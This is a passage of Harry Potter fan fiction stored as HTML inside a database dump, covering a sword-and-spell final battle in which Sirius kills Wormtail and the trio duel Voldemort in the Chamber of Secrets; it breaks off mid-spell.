class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort started tutting.&nbsp; &quot;Icicle, Icicle, Icicle.&nbsp; Defeat against a Mage Knight may be\nacceptable, but against a mudblood?&quot;&nbsp;\nRiddle eyed Hermione.&nbsp;\n&quot;Well, she is exceptional so defeat may be understandable.&nbsp; Still, you have failed me.&nbsp; And you know Lord Voldemort\'s rules.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;No!&nbsp; My Lord!&nbsp;\nYou can not...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Avada\nKedavra.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">With a scream, Icicle fell down dead.&nbsp; Harry was now glaring at Riddle, his sword\ndrawn and his green eyes emitting sparks of rage.&nbsp; Voldemort started walking toward the back of the throne\nroom.&nbsp; &quot;Follow me Harry,&quot; he\nsaid.&nbsp; &quot;and you too, Miss\nGranger.&nbsp; I will guide you two to where\nwe shall have our last duel.&nbsp; There, we\nwill finish this war once and for all!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle disappeared in to a corridor that had\nbeen hidden beneath the throne.&nbsp; After\nexchanging a glance with each other, Harry and Hermione followed after\nhim.&nbsp; After walking through a long\ncorridor, Harry and Hermione came up to a large wooden door, decorated with\nsnakes.&nbsp; Harry, suddenly hissed\nsomething in parseltongue, and the doors opened wide.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They entered a large chamber, held up by a\nseries of pillars decorated with snakes.&nbsp;\nAt the end of the chamber was a large statue of Salazar Slytherin.&nbsp; Riddle was waiting for them in front of the\nstatue, his arms raised and a triumphant grin on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Welcome,&quot;\nhissed Voldemort.&nbsp; &quot;Welcome to the\nChamber of Secrets!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Outside of the palace, Remus and Wormtail were\nstill engaged in mortal combat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Is life\nworth living, Peter?&quot;&nbsp; taunted\nRemus.&nbsp; &quot;Can\'t you hear James and\nLily continuously accusing you for betraying them?&nbsp; For murdering them?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Wormtail shuddered, but continued\nfighting.&nbsp; Their blades were sending off\nsparks as they hit.&nbsp; Remus twirled his\nblade and used carefully calculated slashes which placed him on the\noffensive.&nbsp; Wormtail, on the other hand,\nwas clumsy and made to many unnecessary moves.&nbsp;\nIt looked like Remus was about to win the duel any second when he\nsuddenly lost balance as he stepped on a discarded shield&nbsp; Wormtail grabbed his chance and stabbed\nRemus!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius caught sight of what had happened and\nscreamed.&nbsp; &quot;Remus!&nbsp; NOOOOOOOO!!!!&quot;&nbsp; He darted forward and caught Remus just as\nhe crumbled.&nbsp; Luckily, the wound wasn\'t\nfatal though he was loosing a lot of blood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus looked up at Sirius and gasped.&nbsp; &quot;S...Sirius.&nbsp; W...win this w...war for me.&nbsp;\nFor L...Lily and James.&quot;&nbsp;\nSirius nodded.&nbsp; He used a portkey\nto transport Remus back to the Alliance camp.&nbsp;\nHe then turned on his adversary.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You\'ll pay,\nWormtail!&quot;&nbsp; Sirius\'s blade flashed\nand Wormtail barely managed to block the attack!&nbsp; Sirius swung his sword again and again, forcing Wormatail onto a\nhigh wall overlooking the battlefield.&nbsp;\nSirius also leaped onto the wall and the two opponents started to\nexchange blades.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">While Remus had been on the offensive by using\ncalculated moves, Sirius remained on the offensive by using sheer fury and\nbrute force.&nbsp; He was quickly,\noverwhelming Wormtail, who could barely block Sirius\'s fierce attacks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Why don\'t\nyou do us all a favor and get killed?!&quot; yelled Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Why don\'t you?!&quot; yelled Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They were still fighting Crouch whom had the\nupper hand with his two swords.&nbsp; The\nblade in his left hand was blocking Ron\'s attacks while the blade in his right\nwas slashing at Draco.&nbsp; It was looking\nmore and more as if Ron and Draco would turn on each other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Crouch finally decided that he had enough fun\nand decided to put the two Mage Knights out of their misery.&nbsp; With a combination of strength, technique,\nand magic, Crouch leapt thirty feet in the air and flew down in a diving\nattack.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron and Draco abruptly ended their argument and\nexchanged a knowing glance.&nbsp; Ron\nsuddenly turned his sword upside down and Draco leapt on to Ron\'s sword\'s\nhilt.&nbsp; With an upward thrust, Ron sent\nDraco flying at Crouch.&nbsp; Crouch barely\nhad a chance to register astonishment as Draco slashed into him!&nbsp; Crouch was killed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron and Draco dashed back into the throne\nroom.&nbsp; Draco gave a start when he saw\nhis father\'s lifeless body.&nbsp; Ron also\nlocated Icicle\'s corpse.&nbsp; However, there\nwas no sign of Harry or Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 21, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: J.K. Rowling\'s.&nbsp; Sure\nas heck ain\'t mine.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 21: The End of the Saga</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Where are they?!&quot; shouted Ron.&nbsp;\n&quot;What happened here?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco remained silent.&nbsp; He seemed to be in shock and was kneeling\nover Lucius\'s dead form.&nbsp; They may have been on opposing sides but it\nwas still a shock to see your own father dead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron continued looking for any signs of Harry\nand Hermione.&nbsp; Just when he was about to\ncheck out the throne, however, he felt a sudden pull of magic.&nbsp; With a shriek, he disappeared down the\nsecret path leading down to the Chamber of Secrets.&nbsp; Draco, still in shock, didn\'t\neven notice he was missing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Outside, Sirius and Wormtail were still engaged\nin mortal combat.&nbsp; Sirius\'s superior skills were definitely showing their\ntoil and Wormtail was barely able to hold his own.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;This is for James!&quot; yelled Sirius as he pummeled Pettigrew in the\nmidsection with his hilt!&nbsp; &quot;For Lily!&quot;&nbsp; He placed a swift kick on Wormtail\'s chin!&nbsp;\n&quot;For Remus!&quot;&nbsp; Sirius\nslammed Pettigrew\'s head on the blunt side of\nhis blade!&nbsp; He then lifted Wormtail by\nhis collar.&nbsp; &quot;And this is for me,&quot; he whispered as he pummeled his fist into\nWormtail\'s cheek.&nbsp; Pettigrew crumbled on the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius was just about to run him through when\nWormtail started weeping uncontrollably.&nbsp;\nTreacherous and deceitful as Pettigrew was, Sirius still hesitated in\nfront of the pitiful and pathetic creature in front of him.&nbsp; The moments hesitation was all Wormtail\nneeded as he suddenly sprang and tackled Sirius.&nbsp; Taken by surprise, Sirius was knocked off of his feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Nothing to fear, Padfoot,&quot;&nbsp;\nwhispered Wormtail.&nbsp; His tears\nwere replaced with a malevolent grin as he placed his blade on Sirius\'s neck.&nbsp;\n&quot;You\'ll soon be joining Prongs and Lily!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Wormtail drew back his blade so as to\ndecapitate Sirius and swung.&nbsp; Suddenly,\nSirius turned into a dog.&nbsp; In the\nprocess, Sirius\'s head had gone down to a\nlower position and the blade swished over his head.&nbsp; Wormtail was caught off balance as Sirius turned back into human\nform.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;And this is for Harry!&quot; he whispered as he ran Wormtail through.&nbsp; Pettigrew fell down dead, disbelief written\nall over his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron found himself in a chamber that was held up\nby large pillars decorated with snakes.&nbsp;\nHe found out that he was lying right behind Harry and Hermione and\nquickly scrambled to his feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hello, Ron,&quot; said Hermione without even looking at\nhim.&nbsp; Harry remained quiet.&nbsp; He was glaring at a figure standing at the\nother end of the chamber.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Riddle?&quot; said Ron as he recognized the figure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Try Voldemort,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort was grinning like a madman.&nbsp; &quot;Well, Harry.&nbsp; Now that I\'ve summoned your friend here, that brings us to\nthree against one.&nbsp; I do believe that\nthe odds are in your favor, are they not?&quot;&nbsp; Voldemort drew his sword.&nbsp; Hermione raised her staff as Harry and Ron\ndrew their swords.&nbsp; The trio remained\nstill for a few minutes.&nbsp; Voldemort\ncrouched down.&nbsp; &quot;What are you waiting for?&nbsp; If youfre not going to start, than I will!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;</i><i>Avada Kedavra!</i><i>&quot;</i>&nbsp; Harry,\nHermione, and Ron scattered three ways as the green light of the killing curse\nstruck the floor where they had been standing.&nbsp;\nVoldemort suddenly leaped up in the air with a high pitched laugh.&nbsp; &quot;You\'ll be first, Mudblood!&quot; he screeched as came down toward Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Before Hermione could move, Harry sprang in\nfront of her.&nbsp; The sound metal hitting\nmetal rang through the corridor as Harry\'s\nsword and Voldemort\'s sword connected.&nbsp; Harry swiftly placed a kick on Riddle\'s midsection.&nbsp;\nHe was just about to slash his sword when Voldemort shouted <i>&quot;</i><i>Crucio!</i><i>&quot;</i>&nbsp; Harry\nwrithed in pain as he was hit with the curse.&nbsp;\nWith a roar of anger, Ron slashed at Voldemort.&nbsp; Voldemort broke the curse on Harry so that\nhe could defend himself from Ronfs attacks.&nbsp;\nHe knocked Ron off of his feet by ramming his blade into Ron\'s face.&nbsp;\nFortunately for Ron, it was a blunt part of the blade.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione shouted <i>&quot;</i><i>Stupefy!</i><i>&quot;</i>&nbsp;\nVoldemort deflected Hermione\'s\nstunner and shouted <i>&quot;</i><i>Crucio!</i><i>&quot;</i>&nbsp; Hermione dodged the Cruciatus curse and\nclosed in on Riddle.&nbsp; She swung her\nstaff down at him as hard as she could!&nbsp;\nVoldemort caught the staff on his blade, but just as he was about to\nplace a curse on Hermione, Ron yelled <i>&quot;</i><i>Reducto!</i><i>&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The blast flung Voldemort back some fifteen\nmeters, but he managed to land on his feet.&nbsp;\nHe was still grinning as Ron and Hermione closed in on him.&nbsp; With a quick roll forward, Riddle placed\nhimself behind Ron and Hermione.&nbsp; Before\nthey could turn around, Voldemort had placed them on the Cruciatus Curse.&nbsp; Their screams echoed throughout the Chamber\nof Secrets as they writhed on the ground in sheer agony.&nbsp; Voldemort looked over them with his\nmalevolent grin!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;</i><i>Expelliarmus!</i><i>&quot;</i>&nbsp; The\ncurse was broken as Voldemort was flung backwards by the recovered Harry\'s disarming spell.&nbsp; Ron and Hermione quickly scrambled to their feet and made it to\nHarry\'s side.&nbsp; Voldemort had just stood up when Hermione\nshouted, <i>&quot;</i><i>Incendio!</i><i>&quot;</i> Voldemort sprang back as he was engulfed in\nflames.&nbsp; Before he could move, Harry and\nRon came forward and swung their swords down at him.&nbsp; Voldemort was barely able to block their blows.&nbsp; Then, before he could brace himself for\nanother attack, Harry, Hermione, and Ron shouted, <i>&quot;</i><i>Expelliarmus!</i><i>&quot;</i>&nbsp; The\ncombined force of the disarming spells blasted Voldemort through the wall on\nthe other side of the chamber.&nbsp; The trio\nfell down to their knees, exhausted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well, that was something!&quot; grinned Ron between breaths.&nbsp; &quot;Sure took a lot out of me.&nbsp; But\nlooks like the light side always wins!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione also grinned but stopped when she saw\nthat Harry was still glaring at the other side of the chamber.&nbsp; Hermione looked toward the way Harry was\nglaring and gasped.&nbsp; Voldemort was\nstanding with barely a scratch on his body: his red eyes gleaming and a grin on\nhis face!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Impressive!&quot;&nbsp; he\nsaid.&nbsp; &quot;Definitely worth my attention but not enough, I\'m afraid, to defeat the Dark Lord!&quot;&nbsp; He\nlaughed his high pitch laugh!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I don\'t\nbelieve it!&quot; yelled Ron.&nbsp; &quot;We blasted him with enough power to level Hogwarts, Azkaban, and Diagon\nAlley combined and he just stands there grinning!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;He must be immortal or something,&quot; said Hermione with a defeated voice.&nbsp; &quot;We can\'t win!&nbsp; It\'s\njust not possiblec&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry had remained quiet during this entire\ntime.&nbsp; He suddenly looked up and\nwhispered, &quot;Hermione, the\nrings!&nbsp; Use the rings!&quot;&nbsp;\nHermione\'s eyes went wide as she\nunderstood.&nbsp; The rings were what could\nshut down the key to the Death Eaters\'\npower.&nbsp; In other words, they were what\nwas needed to defeat Voldemort.&nbsp;\nHermione closed her eyes and started to concentrate on the rings on her\nhand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\'s\ngrin was replaced with an ugly look.&nbsp; &quot;Oh no you don\'t!&nbsp; <i>Avada\nKedavra!</i>&quot;&nbsp; Hermione was forced to break her\nconcentration as she and the Mage Knights dodged the killing curse.&nbsp; She tried to concentrate again but was\nforced to dodge another killing curse shot her way.&nbsp; This went on another number of times!&nbsp; Voldemort was now placing so much of his power in the Avada\nKedavra curse that the green light was actually taking the shape of a green and\nsilver basilisk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I can\'t\nkeep this up!&quot;&nbsp; shouted Hermione as she dodged another\nbasilisk shaped curse.&nbsp; Exhaustion\noverwhelming her, she tripped on a loose stone and fell to the ground.&nbsp; Hermione whimpered in pain: she had twisted\nher ankle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort flashed a triumphant grin!&nbsp; &quot;I have you now, Mudblood,&quot; he said.&nbsp; He was just about to\nplace the killing curse on Hermione when suddenly, Ron sprang up from behind\nhim.&nbsp; Ron jumped on Voldemort\'s back and wrapped his arms and legs around\nhim, pinning Voldemort to himself.&nbsp; &quot;Harry!&nbsp;\nHermione!&nbsp; Do it now!&quot; he shouted as Voldemort tried to fling Ron\noff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Come on, Hermione!&quot;&nbsp; said\nHarry as he helped Hermione to her feet.&nbsp;\n&quot;This is our last chance!&quot;&nbsp;\nHermione nodded and lifted her arms in front of her, her fingers\nentwined.&nbsp; Harry stood behind her as his\narms came around Hermione; his hands cupped the two rings on Hermione\'s fingers.&nbsp;\nAs they concentrated on the rings, a single spell entered their minds.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort finally managed to fling Ron off his\nback.&nbsp; Just as he shouted <i>&quot;</i><i>Avada 